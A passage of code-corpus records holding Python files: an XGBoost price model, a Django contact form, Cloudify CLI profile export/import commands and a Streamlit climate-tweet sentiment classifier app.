vocaublary, add its feature vector to the total\n for word in words:\n if word in embeddings_index.keys(): \n nwords = nwords + 1.\n featureVec_i = np.add(featureVec_i,embeddings_index[word])\n # \n # Divide the result by the number of words to get the average\n if nwords > 0: \n featureVec_i = np.divide(featureVec_i,nwords)\n else:\n #print(\">>> WARNING <<< No words in vocaublary\")\n warn_w2v = warn_w2v + 1 \n #print(str(words))\n featureVec[i] = featureVec_i\n\nprint(\" >> No words in vocaublary for \",warn_w2v,\"cases\")\n\npca = PCA().fit(featureVec)\nw2v_name_pca_transf = pca.transform(featureVec)\nall_data['w2v_name_pca0'] = w2v_name_pca_transf[:, 0]\nall_data['w2v_name_pca1'] = w2v_name_pca_transf[:, 1]\nall_data['w2v_name_pca2'] = w2v_name_pca_transf[:, 2]\nall_data['w2v_name_pca3'] = w2v_name_pca_transf[:, 3]\nall_data['w2v_name_pca4'] = w2v_name_pca_transf[:, 4]\nall_data['w2v_name_pca5'] = w2v_name_pca_transf[:, 5]\nall_data['w2v_name_pca6'] = w2v_name_pca_transf[:, 6]\nall_data['w2v_name_pca7'] = w2v_name_pca_transf[:, 7]\nall_data['w2v_name_pca8'] = w2v_name_pca_transf[:, 8]\nall_data['w2v_name_pca9'] = w2v_name_pca_transf[:, 9]\nall_data['w2v_name_pca10'] = w2v_name_pca_transf[:, 10]\nall_data['w2v_name_pca11'] = w2v_name_pca_transf[:, 11]\nall_data['w2v_name_pca12'] = w2v_name_pca_transf[:, 12]\n\nall_data = all_data.drop(['name','thumbnail_url',],axis=1)\n\n\n# 12. bedrooms, beds , bed_type \nall_data.bedrooms = all_data.bedrooms.fillna(0)\nall_data.beds = all_data.beds.fillna(0)\n\n## cut\n# all_data = all_data.drop(['well-lit_path_to_entrance','smartlock','garden_or_backyard','window_guards','high_chair','hot_water_kettle','pocket_wifi','babysitter_recommendations',\n# 'private_bathroom','accessible-height_bed','flat','waterfront','baby_bath','free_parking_on_street','wide_entryway','beach_essentials','accessible-height_toilet','handheld_shower_head','other_pet(s)',\n# 'wide_hallway_clearance','smooth_pathway_to_front_door','wide_clearance_to_bed','changing_table','baby_monitor','other','wide_clearance_to_shower_&_toilet','table_corner_guards','air_purifier',\n# 'bath_towel','bathtub_with_shower_chair','beachfront','body_soap','disabled_parking_spot','ev_charger','firm_matress','firm_mattress','fixed_grab_bars_for_shower_&_toilet','flat_smooth_pathway_to_front_door',\n# 'grab-rails_for_shower_and_toilet','ground_floor_access','hand_or_paper_towel','hand_soap','lake_access','paid_parking_off_premises','path_to_entrance_lit_at_night','roll-in_shower_with_chair',\n# 'ski_in/ski_out','toilet_paper','washer_/_dryer','wide_clearance_to_shower_and_toilet'],axis=1)\n\n## rem sequnece \nall_data = all_data.drop(['id'],axis=1)\n\nassert np.sum(all_data.isnull()).sum() == 0 \n\n################## \nprint('--------------> Modeling ... ')\nXtr, Xv, ytr, yv = train_test_split(all_data[:train_obs].values, y_train, test_size=0.1, random_state=1973)\ndtrain = xgb.DMatrix(Xtr, label=ytr)\ndvalid = xgb.DMatrix(Xv, label=yv)\ndtest = xgb.DMatrix(all_data[train_obs:].values)\nwatchlist = [(dtrain, 'train'), (dvalid, 'valid')]\n\n#Try different parameters! My favorite is random search :)\nxgb_pars = {'min_child_weight': 50,\n 'eta': 0.005,\n 'colsample_bytree': 0.3,\n 'max_depth': 10, \n 'subsample': 0.8,\n 'lambda': 0.5,\n 'nthread': -1,\n 'booster' : 'gbtree',\n 'silent': 1,\n 'eval_metric': 'rmse',\n 'objective': 'reg:linear'}\n\nmodel = xgb.train(xgb_pars, dtrain, 10000, watchlist, early_stopping_rounds=50,maximize=False, verbose_eval=10)\n\nprint('Modeling RMSE %.5f' % model.best_score)\n\nprint('--------------> Submission ... ')\ntest['log_price'] = model.predict(dtest)\nsubfn = \"base6_eta0005__val_\"+str(model.best_score)+\"__rnd_\"+str(model.best_iteration)+\".csv\"\ntest[['id', 'log_price']].to_csv(subfn, index=False)\n\nprint('--------------> Retrain all data + Feature importance ... ')\ndtrain = xgb.DMatrix(all_data[:train_obs].values, label=y_train)\ndtest = xgb.DMatrix(all_data[train_obs:].values)\nmodel = xgb.train(xgb_pars, dtrain, model.best_iteration+5, maximize=False, verbose_eval=10)\nprint('-----> Submission ... ')\ntest['log_price'] = model.predict(dtest)\nsubfn = \"base60005__all_data__rnd_\"+str(model.best_iteration)+\".csv\"\ntest[['id', 'log_price']].to_csv(subfn, index=False)\n\nprint('-----> Feature importance ... ')\nfeature_names = all_data.columns\nfeature_importance_dict = model.get_fscore()\nfs = ['f%i' % i for i in range(len(feature_names))]\nf1 = pd.DataFrame({'f': list(feature_importance_dict.keys()), 'importance': list(feature_importance_dict.values())})\nf2 = pd.DataFrame({'f': fs, 'feature_name': feature_names})\nfeature_importance = pd.merge(f1, f2, how='right', on='f')\nfeature_importance = feature_importance.fillna(0)\nfeature_importance.sort_values(by='importance', ascending=False)\nprint(feature_importance.sort_values)\nsubfn = \"error__feat_importance_base6eta0005.csv\" \nfeature_importance.to_csv(subfn, index=False) \n\n\n\n\n\n","sub_path":"competitions/deloitte/base6.py","file_name":"base6.py","file_ext":"py","file_size_in_byte":18702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"63698225","text":"from django import forms\nfrom django.forms import widgets\nfrom contacto.models import Contacto\nfrom django import forms\n\n\nclass ContactoForm(forms.ModelForm):\n class Meta():\n model = Contacto\n fields = ['nombre', 'email', 'asunto', 'mensaje']\n required = ['nombre', 'email', 'mensaje']\n labels = {\n 'nombre': 'Nombre completo:',\n 'email': 'Email:',\n 'asunto': 'Asunto:',\n 'mensaje': 'Mensaje:'\n }\n widgets = {\n 'nombre': forms.TextInput(\n attrs = {\n 'class':'form-control',\n 'placeholder':'Ingrese su Apellido y Nombre/s',\n 'id':'nombre'\n }\n ),\n 'email': forms.EmailInput(\n attrs = {\n 'class':'form-control',\n 'placeholder':'example@email.com',\n 'id':'email'\n }\n ),\n 'asunto': forms.TextInput(\n attrs = {\n 'class':'form-control',\n 'placeholder':'Ingrese el asunto de su mensaje',\n 'id':'asunto'\n }\n ),\n 'mensaje': forms.Textarea(\n attrs = {\n 'class':'form-control',\n 'placeholder':'Ingrese el mensaje',\n 'id':'mensaje'\n }\n )\n }\n \n\n","sub_path":"contacto/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"252419303","text":"########\n# Copyright (c) 2014 GigaSpaces Technologies Ltd. All rights reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n############\n\nimport os\nimport shutil\nimport tarfile\nfrom contextlib import closing\n\nfrom .. import env\nfrom .. import table\nfrom .. import utils\nfrom ..cli import cfy\nfrom ..cli import helptexts\nfrom ..exceptions import CloudifyCliError\n\nEXPORTED_KEYS_DIRNAME = '.exported-ssh-keys'\nEXPORTED_SSH_KEYS_DIR = os.path.join(env.PROFILES_DIR, EXPORTED_KEYS_DIRNAME)\n\n\n@cfy.group(name='profiles')\n@cfy.options.verbose()\ndef profiles():\n \"\"\"Handle Cloudify CLI profiles\n\n Each profile can manage a single Cloudify manager.\n\n A profile is automatically created when using the `cfy use`,\n and `cfy bootstrap` commands.\n\n Profiles are named according to the IP of the manager they manage.\n \"\"\"\n if not env.is_initialized():\n env.raise_uninitialized()\n\n\n@profiles.command(name='get-active',\n short_help='Retrieve profile information')\n@cfy.options.verbose()\n@cfy.pass_logger\ndef get(logger):\n \"\"\"Gets your current active profile\n \"\"\"\n active_profile_name = env.get_active_profile()\n if active_profile_name == 'local':\n logger.info(\"You're currently working in local mode. \"\n \"To use a manager run `cfy use MANAGER_IP`\"\n \" or bootstrap one\")\n return\n\n active_profile = _get_profile(env.get_active_profile())\n _print_profiles([active_profile], 'Active profile:')\n\n\n@profiles.command(name='list',\n short_help='List profiles')\n@cfy.options.verbose()\n@cfy.pass_logger\ndef list(logger):\n \"\"\"List all profiles\n \"\"\"\n current_profile = env.get_active_profile()\n\n profiles = []\n profile_names = _get_profile_names()\n for profile in profile_names:\n profile_data = _get_profile(profile)\n if profile == current_profile:\n # Show the currently active profile by appending *\n profile_data['manager_ip'] = '*' + profile_data['manager_ip']\n profiles.append(profile_data)\n\n if profiles:\n logger.info('Listing all profiles...')\n _print_profiles(profiles, 'Profiles:')\n\n if not profile_names:\n logger.info(\n 'No profiles found. You can create a new profile '\n 'by bootstrapping a manager via `cfy bootstrap` or using an '\n 'existing manager via the `cfy use` command')\n\n\n@profiles.command(name='purge-incomplete',\n short_help='Purge profiles in incomplete bootstrap state')\n@cfy.options.verbose()\n@cfy.pass_logger\ndef purge_incomplete(logger):\n \"\"\"Purge all profiles for which the bootstrap state is incomplete\n \"\"\"\n logger.info('Purging incomplete bootstrap profiles...')\n profile_names = _get_profile_names()\n for profile in profile_names:\n context = env.get_profile_context(profile)\n if context.bootstrap_state == 'Incomplete':\n logger.debug('Deleteing profiles {0}...'.format(profile))\n env.delete_profile(profile)\n logger.info('Purge complete')\n\n\n@profiles.command(name='delete',\n short_help='Delete a profile')\n@cfy.argument('profile-name')\n@cfy.options.verbose()\n@cfy.pass_logger\ndef delete(profile_name, logger):\n \"\"\"Delete a profile\n\n `PROFILE_NAME` is the IP of the manager the profile manages.\n \"\"\"\n logger.info('Deleting profile {0}...'.format(profile_name))\n try:\n env.delete_profile(profile_name)\n logger.info('Profile deleted')\n except CloudifyCliError as ex:\n logger.info(str(ex))\n\n\n@profiles.command(name='export',\n short_help='Export all profiles to an archive')\n@cfy.options.include_keys(helptexts.EXPORT_SSH_KEYS)\n@cfy.options.optional_output_path\n@cfy.options.verbose()\n@cfy.pass_logger\ndef export_profiles(include_keys, output_path, logger):\n \"\"\"Export all profiles to a file\n\n WARNING: Including the ssh keys of your profiles in the archive means\n that once the profiles are imported, the ssh keys will be put back\n in their original locations!\n\n If `-o / --output-path` is omitted, the archive's name will be\n `cfy-profiles.tar.gz`.\n \"\"\"\n _assert_profiles_exist()\n\n destination = output_path or \\\n os.path.join(os.getcwd(), 'cfy-profiles.tar.gz')\n\n # TODO: Copy exported ssh keys to each profile's directory\n logger.info('Exporting profiles to {0}...'.format(destination))\n if include_keys:\n for profile in _get_profile_names():\n _backup_ssh_key(profile)\n utils.tar(env.PROFILES_DIR, destination)\n if include_keys:\n shutil.rmtree(EXPORTED_SSH_KEYS_DIR)\n logger.info('Export complete!')\n logger.info(\n 'You can import the profiles by running '\n '`cfy profiles import PROFILES_ARCHIVE`')\n\n\n@profiles.command(name='import',\n short_help='Import profiles from an archive')\n@cfy.argument('archive-path')\n@cfy.options.include_keys(helptexts.IMPORT_SSH_KEYS)\n@cfy.options.verbose()\n@cfy.pass_logger\ndef import_profiles(archive_path, include_keys, logger):\n \"\"\"Import profiles from a profiles archive\n\n WARNING: If a profile exists both in the archive and locally\n it will be overwritten (any other profiles will be left intact).\n\n `ARCHIVE_PATH` is the path to the profiles archive to import.\n \"\"\"\n _assert_is_tarfile(archive_path)\n _assert_profiles_archive(archive_path)\n\n logger.info('Importing profiles from {0}...'.format(archive_path))\n utils.untar(archive_path, os.path.dirname(env.PROFILES_DIR))\n\n if include_keys:\n for profile in _get_profile_names():\n _restore_ssh_key(profile)\n else:\n if EXPORTED_KEYS_DIRNAME in os.listdir(env.PROFILES_DIR):\n logger.info(\"The profiles archive you provided contains ssh keys \"\n \"for one or more profiles. To restore those keys to \"\n \"their original locations, you can use the \"\n \"`--include-keys flag or copy them manually from {0} \"\n .format(EXPORTED_SSH_KEYS_DIR))\n logger.info('Import complete!')\n logger.info('You can list profiles using `cfy profiles list`')\n\n\ndef _assert_profiles_exist():\n if not _get_profile_names():\n raise CloudifyCliError('No profiles to export')\n\n\ndef _assert_profiles_archive(archive_path):\n with closing(tarfile.open(name=archive_path)) as tar:\n if not tar.getmembers()[0].name == 'profiles':\n raise CloudifyCliError(\n 'The archive provided does not seem to be a valid '\n 'Cloudify profiles archive')\n\n\ndef _assert_is_tarfile(archive_path):\n if not tarfile.is_tarfile(archive_path):\n raise CloudifyCliError('The archive provided must be a tar.gz archive')\n\n\ndef _get_profile_names():\n # TODO: This is too.. ambiguous. We should change it so there are\n # no exclusions.\n excluded = ['local', EXPORTED_KEYS_DIRNAME]\n profile_names = [item for item in os.listdir(env.PROFILES_DIR)\n if item not in excluded]\n\n return profile_names\n\n\ndef _backup_ssh_key(profile):\n return _move_ssh_key(profile, is_backup=True)\n\n\ndef _restore_ssh_key(profile):\n return _move_ssh_key(profile, is_backup=False)\n\n\n@cfy.pass_logger\ndef _move_ssh_key(profile, logger, is_backup):\n \"\"\"Iterate through all profiles and move their ssh keys\n\n This is how we backup and restore ssh keys.\n \"\"\"\n context = env.get_profile_context(profile)\n key_filepath = context.ssh_key\n if key_filepath:\n backup_path = os.path.join(\n EXPORTED_SSH_KEYS_DIR, os.path.basename(key_filepath)) + \\\n '.{0}.profile'.format(profile)\n if is_backup:\n if not os.path.isdir(EXPORTED_SSH_KEYS_DIR):\n os.makedirs(EXPORTED_SSH_KEYS_DIR)\n logger.info('Copying ssh key {0} to {1}...'.format(\n key_filepath, backup_path))\n shutil.copy2(key_filepath, backup_path)\n else:\n if os.path.isfile(backup_path):\n logger.info(\n 'Restoring ssh key for profile {0} to {1}...'.format(\n profile, key_filepath))\n shutil.move(backup_path, key_filepath)\n\n\ndef _get_profile(profile_name):\n current_profile = env.get_active_profile()\n env.set_active_profile(profile_name)\n context = env.get_profile_context(profile_name)\n env.set_active_profile(current_profile)\n\n return context.to_dict()\n\n\ndef _print_profiles(profiles, header):\n columns = [\n 'manager_ip',\n 'ssh_user',\n 'ssh_key_path',\n 'ssh_port',\n 'rest_port',\n 'rest_protocol',\n 'manager_username',\n 'bootstrap_state'\n ]\n pt = table.generate(columns, data=profiles)\n table.log(header, pt)\n","sub_path":"cloudify_cli/commands/profiles.py","file_name":"profiles.py","file_ext":"py","file_size_in_byte":9359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"431281411","text":"\"\"\"\n\n Simple Streamlit webserver application for serving developed classification\n models.\n\n models.\n Author: Explore Data Science Academy.\n\n Note:\n ---------------------------------------------------------------------\n Plase follow the instructions provided within the README.md file\n located within this directory for guidance on how to use this script\n correctly.\n ---------------------------------------------------------------------\n\n Description: This file is used to launch a minimal streamlit web\n application. You are expected to extend the functionality of this script\n as part of your predict project.\n\n For further help with the Streamlit framework, see:\n\n https://docs.streamlit.io/en/latest/\n\n application. You are expected to extend the functionality of this script\n as part of your predict project.\n For further help with the Streamlit framework, see:\n https://docs.streamlit.io/en/latest/\n\"\"\"\n# Streamlit dependencies\nimport streamlit as st\nimport joblib\nimport os\nimport pickle\nfrom markdown import markdown\n\n# Data dependencies\nimport pandas as pd\nimport numpy as np\n\n# Text processing\nimport spacy\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import TweetTokenizer, word_tokenize\nimport string\nimport re\n\n# Data processing\nfrom sklearn.utils import resample\nfrom sklearn.feature_extraction import text\nfrom sklearn.model_selection import train_test_split\n\n# Visual dependencies\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom wordcloud import WordCloud\nfrom bs4 import BeautifulSoup\nfrom PIL import Image\nimport plotly.graph_objects as go\n\n\nmatplotlib.use(\"Agg\")\nplt.style.use('ggplot')\n\n# Create a spaCy tokenizer\nspacy.load('en')\nlemmatizer = spacy.lang.en.English()\n\n\ndef tokenize(text):\n tokens = lemmatizer(text)\n return [token.lemma_ for token in tokens]\n\n# Load necessary data\nfile = open(\"resources/mod_and_vect.pkl\", \"rb\")\nTF_1 = pickle.load(file)\nTF_2 = pickle.load(file)\nCV_2 = pickle.load(file)\nNL_SVM_TF1 = pickle.load(file)\nLR_TF2 = pickle.load(file)\nLSVM = pickle.load(file)\nLRCV = pickle.load(file)\nfile.close()\n\n# Load your raw data\nread_and_cache_csv = st.cache(pd.read_csv, allow_output_mutation=True)\nraw = read_and_cache_csv(\"resources/kaggle_train.csv\")\n\n\ndef get_key(val, my_dict):\n for key, value in my_dict.items():\n if val == value:\n return key\n\n\n# define custom functions to be used\n@st.cache\ndef clean_text(text):\n text = str(text).lower()\n text = re.sub('\\[.*?\\]', '', text)\n text = re.sub('https?://\\S+|www\\.\\S+', 'URL', text)\n text = re.sub('<.*?>+', '', text)\n text = re.sub('[%s]' % re.escape(string.punctuation), '', text)\n text = re.sub('\\n', '', text)\n text = re.sub('\\w*\\d\\w*', '', text)\n return text\n\n\n@st.cache(persist=True)\ndef prep_eda_df(df):\n\n # preprocess eda data\n # Tweet length by word count, character count, and punctuation count\n eda_data = raw.copy()\n # Extract URL's\n pattern_url = r'(http[s]?://(?:[A-Za-z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9A-Fa-f][0-9A-Fa-f]))+)'\n eda_data['Url'] = eda_data['message'].str.extract(pattern_url)\n # Replace URL with string 'web-url'\n eda_data['message'] = eda_data['message'].replace(pattern_url, 'web-url', regex=True)\n\n # Clean text with clean_text() function\n eda_data['clean_tweet'] = eda_data['message'].apply(lambda x: clean_text(x))\n\n # Tokenize tweets with nltk\n # tokeniser = word_tokenize()\n eda_data['tokens'] = eda_data['message'].apply(word_tokenize)\n eda_data['tweet_length'] = eda_data['tokens'].str.len()\n\n # Tweet Character count column\n eda_data['character_count'] = eda_data['message'].apply(lambda c: len(c))\n # repeat for punctuation\n eda_data['punctuation_count'] = eda_data['message'].apply(lambda x: len([i for i in str(x) if i in string.punctuation]))\n eda_df = eda_data.copy()\n return eda_df\n\neda_data = prep_eda_df(raw)\n\nsent_dict = {-1: 'Anti', 0: 'Neutral', 1: 'Pro', 2: 'News'}\n\n\ndef sent_kde_plots(df, values, target):\n fig, ax = plt.subplots()\n col = list(df[target].unique())\n\n for c in col:\n sns.kdeplot(df[values][df[target] == c], shade=True, label=sent_dict.get(c))\n\n plt.xlabel(values)\n plt.ylabel('Density')\n plt.title('Distribution of Tweet {}'.format(values))\n return\n\n\ndef wordcloud_gen(df, target, values):\n sent = list(df[target].unique())\n dft = train_data.groupby(target)[values].apply(' '.join)\n for s in sent:\n text = dft[s]\n wordcloud = WordCloud(background_color='white', max_words=100,\n max_font_size=50).generate(text)\n plt.figure()\n plt.imshow(wordcloud, interpolation='bilinear')\n plt.title('Tweets under {} Class'.format(s))\n plt.axis('off')\n return\n\n\n# label the sentiments\ndef sentiment_label(df_):\n if df_['sentiment'] == 2:\n return \"News\"\n elif df_['sentiment'] == 1:\n return \"Pro\"\n elif df_['sentiment'] == 0:\n return \"Neutral\"\n elif df_['sentiment'] == -1:\n return \"Anti\"\n\nraw[\"label\"] = raw.apply(sentiment_label, axis=1)\n\n\n# The main function where we will build the actual app\ndef main():\n \"\"\"Tweet Classifier App with Streamlit \"\"\"\n\n # Creates a main title and subheader on your page -\n # these are static across all pages\n\n st.title(\"Tweet Classifier\")\n st.subheader(\"Climate change tweet classification\")\n\n # Creating sidebar\n # you can create multiple pages this way\n st.sidebar.title(\"Pages\")\n selection = st.sidebar.radio(label=\"\", options=[\"Information\", \"EDA and Insights\", \"Prediction\", \"Technical\"])\n\n # Building out the \"Information\" page\n if selection == \"Information\":\n st.info(\"With the change in time, consumers have become more conscious about acquiring products/services from brands that uphold certain values and ideals. They also consider the service provider's stances towards issues such as climate change. In order to appeal to these consumers, organisations should understand their sentiments. They need to understand how their products will be received whilst trying to decrease their environmental impact or carbon footprint. This can be achieved using Machine Learning.\")\n\n # You can read a markdown file from supporting resources folder\n if st.button(\"What is Machine Learning\"):\n what_ml = (open('resources/what_is_ML.md').read())\n st.markdown(what_ml, unsafe_allow_html=True)\n\n ml_image = Image.open(\"resources/imgs/ml_pic.jpg\")\n st.image(ml_image, use_column_width=True)\n\n # to add info on machine learning here\n if st.button(\"How does the app work\"):\n app_info = markdown(open(\"resources/info.md\").read())\n st.markdown(app_info, unsafe_allow_html=True)\n\n st.subheader(\"Description of Sentiment Classes\")\n descrip_image = Image.open(\"resources/imgs/climate_data_sentiment_description.png\")\n st.image(descrip_image, use_column_width=True)\n\n st.subheader(\"Raw Twitter data and label\")\n if st.checkbox('Show raw data'): # data is hidden if box is unchecked\n st.write(raw) # will write the df to the page\n\n # Building out the predication page\n if selection == \"Prediction\":\n st.info(\"Climate Change belief with ML Models utilising NLP\")\n st.subheader(\"What is NLP\")\n\n what_nlp = markdown(open(\"resources/what_is_nlp.md\").read())\n st.markdown(what_nlp, unsafe_allow_html=True)\n raw = pd.read_csv(\"resources/train.csv\")\n\n nlp_img = Image.open('resources/imgs/nlp_pipeline_img.png')\n st.image(nlp_img, use_column_width=True)\n\n # Detect and remove duplicate rows\n raw = raw.drop_duplicates(subset=['message'])\n\n # Remove blanks\n def remove_blanks(df):\n blanks = []\n for index, tweet in enumerate(df['message']):\n if type(tweet) == str:\n if tweet in ['', ' ']:\n blanks.append(index)\n return df.drop(blanks)\n raw = remove_blanks(raw)\n\n # Remove special characters\n def clean_text(text):\n text = str(text).lower()\n text = re.sub('\\[.*?\\]', '', text)\n text = re.sub('https?://\\S+|www\\.\\S+', 'URL', text)\n text = re.sub('<.*?>+', '', text)\n text = re.sub('[%s]' % re.escape(string.punctuation), '', text)\n text = re.sub('\\n', '', text)\n text = re.sub('\\w*\\d\\w*', '', text)\n return text\n raw['clean_tweet'] = raw['message'].apply(lambda x: clean_text(x))\n\n # Remove stop-words\n stop_words = stopwords.words('english') # Assign stop_words list\n\n def remove_stopword(text):\n return [word for word in text.split() if word not in stop_words]\n raw['clean_tweet'] = raw['clean_tweet'].apply(lambda x: remove_stopword(x))\n\n # Join text\n def join_text(text):\n text = ' '.join(text)\n return text\n raw['clean_tweet'] = raw['clean_tweet'].apply(lambda x: join_text(x))\n\n # Assign feature and response variables\n X = raw['clean_tweet']\n y = raw['sentiment']\n\n # Addressing imbalance\n heights = [len(y[y == label]) for label in [0, 1, 2, -1]]\n bars = pd.DataFrame(zip(heights, [0, 1, 2, -1]), columns=['heights', 'labels'])\n bars = bars.sort_values(by='heights',ascending=True)\n\n # Let's pick a class size of roughly half the size of the largest size\n class_size = 3500\n bar_label_df = bars.set_index('labels')\n resampled_classes = []\n\n for label in [0, 1, 2, -1]:\n # Get number of observations from this class\n label_size = bar_label_df.loc[label]['heights']\n\n # If label_size < class size the upsample, else downsample\n if label_size < class_size:\n # Upsample\n label_data = raw[['clean_tweet', 'sentiment']][raw['sentiment'] == label]\n label_resampled = resample(label_data,\n # sample with replacement\n # (we need to duplicate observations)\n replace=True,\n # number of desired samples\n n_samples=class_size,\n random_state=27)\n else:\n # Downsample\n label_data = raw[['clean_tweet', 'sentiment']][raw['sentiment'] == label]\n label_resampled = resample(label_data,\n # sample without replacement\n # (no need for duplicate observations)\n replace=False,\n # number of desired samples\n n_samples=class_size,\n random_state=27)\n\n resampled_classes.append(label_resampled)\n\n # Assign feature and response variables from resampled data\n resampled_data = np.concatenate(resampled_classes, axis=0)\n\n X_resampled = resampled_data[:, :-1]\n y_resampled = resampled_data[:, -1]\n\n df_resampled = pd.DataFrame(X_resampled.reshape(-1, 1))\n df_resampled.columns = ['tweet']\n df_resampled['sentiment'] = y_resampled\n df_resampled['sentiment'] = df_resampled['sentiment'].astype('int')\n\n # Splitting data\n X_train, X_test, y_train, y_test = train_test_split(df_resampled['tweet'].values,\n df_resampled['sentiment'].values,\n test_size=0.1, random_state=42)\n\n # Create a spaCy tokenizer\n spacy.load('en')\n lemmatizer = spacy.lang.en.English()\n\n def tokenize(text):\n tokens = lemmatizer(text)\n return [token.lemma_ for token in tokens]\n\n # Creating a text box for user input\n tweet_text = st.text_area(\"Enter Text\", \"Type Here\")\n\n models_dict = {'Linear Support Vector Classifier': LSVM,\n 'Non-Linear Support Vector Classifier': NL_SVM_TF1,\n 'Logistic Regression CV': LRCV,\n 'Logistic Regression TFiDF': LR_TF2}\n\n choice = st.selectbox(\"Please choose a Classification Model\",\n list(models_dict.keys()))\n model = models_dict.get(choice)\n\n mod_vect_dict = {LSVM: CV_2, NL_SVM_TF1: TF_1, LRCV: CV_2, LR_TF2: TF_2}\n\n if st.button(\"Classify\"):\n # Transforming user input with vectorizer\n vect = mod_vect_dict.get(model)\n vect_text = vect.transform([tweet_text]).toarray()\n predictor = model\n prediction = predictor.predict(vect_text)\n\n # When model has successfully run, will print prediction\n # You can use a dictionary or similar structure to make this output\n # more human interpretable.\n pred_labels = {\"Anti Climate Change\": -1,\n \"Neutral toward Climate Change\": 0,\n \"Pro Climate Change\": 1,\n \"News about Climate Change\": 2}\n\n result = get_key(prediction, pred_labels)\n st.success(\"Text Categorized as: {}\".format(result))\n\n # Building EDA and Insights page\n # eda = st.sidebar.select()\n if selection == \"EDA and Insights\":\n st.info('This page is dedicated to Exploratory Data Analysis and insights gained form it.')\n\n # load data\n raw = read_and_cache_csv(\"resources/kaggle_train.csv\")\n\n # Adding to sidebar\n st.sidebar.title(\"EDA and Insights\")\n st.sidebar.info('Use the multislect box below to view graphs by sentiment, Insight text applies to graphs with all selected sentiments.')\n sentiment = raw[\"label\"].unique().tolist()\n select_sent = st.sidebar.multiselect('View Analysis by sentiment', sentiment, default=sentiment)\n\n st.markdown('### **Exploratory Data Aanalysis**')\n st.markdown('When conducting Exploratory Data Analysis, we try and look at the data from all angles, by inspecting and visualising to extract any insights that we can. This can sometimes give surprising results, and as such we try to explore any possible connections, as well as outliers, or any group/class/type that differs from the rest. In this app we will be exploring the distributions of our data from different aspects, combined with what makes it unique, or where the data is strengthened by similarities.
    In doing so we summarize the main characters of the data and gain insight on what the data can tell us. In this regard get more understanding about what it represents and how to apply it.', unsafe_allow_html=True)\n if st.checkbox(\"Preview DataFrame\"):\n if st.button(\"Tail\"):\n st.write(raw.tail())\n else:\n st.write(raw.head())\n\n # Add image description of sentiment\n st.subheader(\"Description of Sentiment Classes\")\n descrip_image = Image.open(\"resources/imgs/climate_data_sentiment_description.png\")\n st.image(descrip_image, use_column_width=True)\n\n # mask to filter dataframe\n mask_sentiment = raw['label'].isin(select_sent)\n data = raw[mask_sentiment]\n\n st.markdown('### Data Distribution ###')\n\n # Sentiment Distribution\n fig, ax = plt.subplots(figsize=(10, 5))\n # graph = sns.countplot(x = 'sentiment', data = raw)\n graph = sns.countplot(x='label', data=data)\n plt.title('Distribution of Sentiment classes count')\n st.pyplot()\n\n # Insight\n st.markdown('More than half of the tweets , precisely 50,76%, belong to class 1. This indicates that the majority of tweets collected support the belief that man-made climate change exists. Conversely, 8.58% of the tweets collected are class -1, which represents tweets that do not believe in man-made climate change. Tweets that link to factual news about climate change comprise 24,89% whilst tweets which are neutral (neither supports nor refutes the belief of man-made climate change) make up 15,77% of the dataset. These are represented by the classes 2 and 0 respectively.
    The class imbalance will need to be addressed to avoid the model being biased towards classifying sentiments as the majority class because the model will be well-versed in identifying it.', unsafe_allow_html=True)\n\n df = eda_data[mask_sentiment]\n\n st.markdown(\"### **Visualisations** ###\")\n\n if st.checkbox('View Tweet length distributions'):\n\n st.markdown('The first of these explorations will be in the length of various parts of the Tweet body')\n\n # generate tweet length graph\n sent_kde_plots(df, 'tweet_length', 'sentiment')\n st.pyplot()\n\n st.markdown('Looking at the number of words per tweet, although classes 0 and 1 have the same maximum number of words per tweet at 31 words, classes -1 and 1 have the highest average number of words per tweet at ~19 words. This suggests that people that sent out tweets which are anti and pro man-made climate change send out tweets with more words. News tweets generally have the least number of words with a maximum of 26 and an average of ~16 words per tweet. They do however also display more of a normal distribution, insinuating that news tweets are more consistent in the number of words. The number of words of tweets which are classified as neutral have the greatest distribution with a standard deviation of ~6 words, they vary from \"few\" to \"many\" words in a tweet.')\n\n # generate character count graph\n sent_kde_plots(df, 'character_count', 'sentiment')\n st.pyplot()\n\n st.write('A similar pattern as established by the number of words per tweet is displayed by the number of characters per tweet. Classes 1 and 0 have the the first and second maximum number of characters per tweet at at 208 and 166 characters respectively. However, classes 1 and -1 have the highest average number of characters per tweet at ~127 and ~124 characters. A slight difference is that class 2 tweets are on average longer than neutral tweets.')\n\n # generate punctuation count graph\n sent_kde_plots(df, 'punctuation_count', 'sentiment')\n st.pyplot()\n\n st.markdown('The amount of punctuaton displays a number of outliers in each class at 36, 25, 58 and 20 for classes -1, 0, 1 and 2 whilst the averages for each class are ~ 8, 7, 8 and 9. There is a miniscule difference in the means therefore the number of punctuation per tweet can not be as an unique identifier for any of the sentiment classes.
    Despite classes -1 and 0 having tweets which have the most characters and words, the differences between these two classes and the other classes, and additonally themselves, are not significant enough to use these two characteristics as features when classifying between the four classes in question. As mentioned above, there are no punctuation patterns that are significant to either class.', unsafe_allow_html=True)\n\n st.markdown('### **Wordclouds!** ###')\n\n # call wordcloud generator\n if st.checkbox('generate wordclouds'):\n\n st.markdown('Upon analysis of all the sentiment classes, \"climate change\", \"RT\", \"https\", \"co\" and \"global warming\" are the most popular words/phrases. Even within the individual sentiment classes, the same five words/phrases are the most common.')\n\n sent = list(df['sentiment'].unique())\n dft = eda_data.groupby('sentiment')['clean_tweet'].apply(' '.join)\n for s in sent:\n fig, ax = plt.subplots()\n text = dft[s]\n wordcloud = WordCloud(background_color='white', max_words=100,\n max_font_size=50).generate(text)\n plt.imshow(wordcloud, interpolation='bilinear')\n plt.title('Tweets under {} Class'.format(s))\n 